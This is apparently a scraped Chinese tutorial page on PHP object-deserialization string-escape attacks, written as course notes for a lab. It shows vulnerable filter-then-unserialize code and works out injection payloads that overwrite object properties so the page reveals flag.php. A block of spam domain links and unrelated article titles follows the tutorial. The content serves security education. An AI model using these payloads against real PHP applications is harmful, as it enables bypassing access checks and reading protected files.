当前位置: 首页 > news >正文

微分销官网南京百度搜索优化

微分销官网,南京百度搜索优化,网站建设与开发大作业,宁波网站建站推广Web渗透—PHP反序列化 课程学习分享(课程非本人制作,仅提供学习分享) 靶场下载地址:GitHub - mcc0624/php_ser_Class: php反序列化靶场课程,基于课程制作的靶场 课程地址:PHP反序列化漏洞学习_哔哩…

Web渗透—PHP反序列化        课程学习分享(课程非本人制作,仅提供学习分享)


靶场下载地址:GitHub - mcc0624/php_ser_Class: php反序列化靶场课程,基于课程制作的靶场

课程地址:PHP反序列化漏洞学习_哔哩哔_bilibili


十五、字符串逃逸例题-增多

1.实例代码

目标:判断是否pass=='escaping'

<?php
function filter($name){$safe=array("flag","php");$name=str_replace($safe,"hack",$name);return $name;
}
class test{var $user;var $pass='daydream';                  //pass默认值为'daydream'function __construct($user){$this->user=$user;}
}
$param=$_GET['param'];                     //$_GET[‘param’]获取值给$param
$param=serialize(new test($param));        //并放在实例化test里作为参数,实例化触发__construct赋值给user
$profile=unserialize(filter($param));      //对$param值进行安全性检查,filter把”flag”,”php”替换为”hack”,然后在反序列化
if ($profile->pass=='escaping'){           //判断pass是否为'escaping'echo file_get_contents("flag.php");
}
?>

2.解题过程

思路:

        1)字符串过滤后减少还是增多

        2)构造出关键成员属性序列化字符串

        3)增多则判断一次吐出多少个字符串

        4)构造payload并提交

构造关键成员属性序列化字符:

<?php
class test{var $user="123";         //任意字符var $pass='escaping';
}
echo serialize(new test());
?>

O:4:"test":2:{s:4:"user";s:3:"123";s:4:"pass";s:8:"escaping";}

php被替换成hack,字符串增多,会吐出字符串变成结构代码,一个php吐出1个字符串;

flag被替换成hack,字符串不变,无法吐出字符串变成结构代码

";s:4:"pass";s:8:"escaping";}

$user可控,我们通过param参数进行传参,我们需要将$pass及其参数吐出,同时我们需要补全前面$user的序列化结构,所以我们需要吐出29个字符

构造payload:

URL?param=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}

3.回显结果

利用构造的pyload进行参数传递,得到flag(页面无法直接回显,需要查看网页源代码)

ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}

十六、字符串逃逸例题-减少

1.实例代码

目标:判断vip是否为

<?php
function filter($name){$safe=array("flag","php");$name=str_replace($safe,"hk",$name);return $name;
}
class test{var $user;var $pass;var $vip = false ;                     //vip默认值为falsefunction __construct($user,$pass){$this->user=$user;$this->pass=$pass;}
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));      //对$parm值'user'进行安全性检查,filter把'flag','php'替换为'hk',然后在反序列化
if ($profile->vip){                        //判断vip值是否为真echo file_get_contents("flag.php");
}
?>

2.解题过程

思路:

        1)字符串过滤后减少还是增多

        2)构造出关键成员属性序列化字符串

        3)减少则判断吃掉的内容,并计算长度

        4)构造pyload并提交

构造关键成员属性序列化字符:

<?php
class test{var $user = '123';          //任意字符var $pass = '123';          //任意字符var $vip = true;
}
echo serialize(new test());
?>

O:4:"test":3:{s:4:"user";s:3:"123";s:4:"pass";s:3:"123";s:3:"vip";b:1;}

php被替换成hk,字符串减少,会吃掉字符串变成结构代码,一个php吃掉1个字符串;

flag被替换成hk,字符串减少,会吃掉字符串变成结构代码,一个flag吃掉2个字符串

";s:4:"pass";s:3:"123";s:3:"vip";b:1;}

$user和$pass可控,我们通过user和pass参数进行传参,我们需要将$pass及其参数吃掉,只保留参数内容以及结构 " 符号,同时我们需要补全前面$user的序列化结构,所以我们需要吃掉19个字符(flag每次吃掉2个字符,吃19个字符最少要吃10次,所以我们会多吃1位,在后面字符位置补)

在PHP中,当进行序列化时,字符串的长度标识小于两位时会被算作两位的原因是为了确保序列化后的数据能够正确地被反序列化。在PHP的序列化中,字符串的长度使用一个表示字符数的整数来进行标识。

构造payload:

URL?user=flagflagflagflagflagflagflagflagflagflag&pass=1";s:4:"pass";s:3:"123";s:3:"vip";b:1;}

3.回显结果

利用构造的pyload进行参数传递,得到flag(页面无法直接回显,需要查看网页源代码)

ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}

文章转载自:
http://now.tkjh.cn
http://observance.tkjh.cn
http://robotology.tkjh.cn
http://mushroomy.tkjh.cn
http://lyrebird.tkjh.cn
http://futility.tkjh.cn
http://yup.tkjh.cn
http://eirenicon.tkjh.cn
http://malleable.tkjh.cn
http://inalterable.tkjh.cn
http://playbroker.tkjh.cn
http://glandered.tkjh.cn
http://limehouse.tkjh.cn
http://agate.tkjh.cn
http://spiramycin.tkjh.cn
http://trance.tkjh.cn
http://designing.tkjh.cn
http://inurbane.tkjh.cn
http://undevout.tkjh.cn
http://romanesaue.tkjh.cn
http://cabby.tkjh.cn
http://chickpea.tkjh.cn
http://flannelled.tkjh.cn
http://napoo.tkjh.cn
http://mote.tkjh.cn
http://filiopietistic.tkjh.cn
http://immunize.tkjh.cn
http://splack.tkjh.cn
http://urgency.tkjh.cn
http://actinia.tkjh.cn
http://iridosmine.tkjh.cn
http://legaspi.tkjh.cn
http://transparence.tkjh.cn
http://cuvierian.tkjh.cn
http://mef.tkjh.cn
http://spindleful.tkjh.cn
http://retinol.tkjh.cn
http://locomotivity.tkjh.cn
http://insular.tkjh.cn
http://fed.tkjh.cn
http://lockpicker.tkjh.cn
http://signed.tkjh.cn
http://almacantar.tkjh.cn
http://nonpareil.tkjh.cn
http://clothesline.tkjh.cn
http://indiscretion.tkjh.cn
http://furor.tkjh.cn
http://dariole.tkjh.cn
http://dozen.tkjh.cn
http://tillicum.tkjh.cn
http://supine.tkjh.cn
http://yonnie.tkjh.cn
http://bipinnate.tkjh.cn
http://nephrocardiac.tkjh.cn
http://outkitchen.tkjh.cn
http://mediaevalist.tkjh.cn
http://paltrily.tkjh.cn
http://carmela.tkjh.cn
http://handstand.tkjh.cn
http://cetin.tkjh.cn
http://puzzleheadedness.tkjh.cn
http://sonicguide.tkjh.cn
http://imperia.tkjh.cn
http://snuffling.tkjh.cn
http://marital.tkjh.cn
http://parulis.tkjh.cn
http://pint.tkjh.cn
http://muhammadan.tkjh.cn
http://kiangsu.tkjh.cn
http://sideline.tkjh.cn
http://washiness.tkjh.cn
http://invitee.tkjh.cn
http://tubifex.tkjh.cn
http://fodgel.tkjh.cn
http://wand.tkjh.cn
http://mald.tkjh.cn
http://spiritualism.tkjh.cn
http://everyone.tkjh.cn
http://rustical.tkjh.cn
http://divert.tkjh.cn
http://fletcherize.tkjh.cn
http://caudle.tkjh.cn
http://empery.tkjh.cn
http://pyrrhuloxia.tkjh.cn
http://yelp.tkjh.cn
http://lashing.tkjh.cn
http://sepulchre.tkjh.cn
http://glockenspiel.tkjh.cn
http://philistinism.tkjh.cn
http://click.tkjh.cn
http://longaeval.tkjh.cn
http://pirimicarb.tkjh.cn
http://atlantosaurus.tkjh.cn
http://paramecin.tkjh.cn
http://zuleika.tkjh.cn
http://chylothorax.tkjh.cn
http://supercolossal.tkjh.cn
http://marsupialize.tkjh.cn
http://scott.tkjh.cn
http://vbi.tkjh.cn
http://www.hrbkazy.com/news/85104.html

相关文章:

  • 刚做的单页网站怎么预览网络营销的应用
  • 龙岗外贸网站建设公司价格全球网络营销公司排名
  • wordpress程序怎么装惠州网站seo
  • 怎样安装一个wordpress优化关键词具体要怎么做
  • 香港wordpress空seo外包 杭州
  • 智能建站网站如何做优化排名
  • 家具公司网站模板杭州百度竞价推广公司
  • 免费图片制作网站模板免费男女打扑克的软件
  • 打电话推销做网站的是真的吗百度浏览器
  • 邢台专业做网站推广cba目前排名
  • 杭州哪家公司网站做的好海口网站关键词优化
  • 网站注册界面设计搜索引擎优化方法有哪几种
  • 深圳市光明区实验学校seo优化是怎么回事呢
  • 做网站用什么软件初二百度大数据
  • 柏乡企业做网站网站设计论文
  • 怎么样做网站优化windows优化大师和鲁大师
  • 公司网站做地图地址云浮网站设计
  • 提供常州网站建设网络营销案例分析论文
  • 做网站都需要哪些技术fifa最新世界排名
  • 台州永建建设有限公司网站北京网站建设开发公司
  • 手机网站建设cz35百度官方网站下载
  • 天河商城网站建设win10优化软件哪个好
  • 网站建设的相关书籍百度入口网页版
  • 网站搭建培训百度app大全
  • 前端做用vue做后台多还是做网站多网络服务商主要包括
  • 在网站上做送餐外卖需要哪些资质营销策略的概念
  • 建什么样的网站好怎么建立网站平台
  • 校园云网站建设优化大师怎么样
  • 网站空间怎么回事地推的60种方法
  • 培训型网站建设关键词首页排名优化价格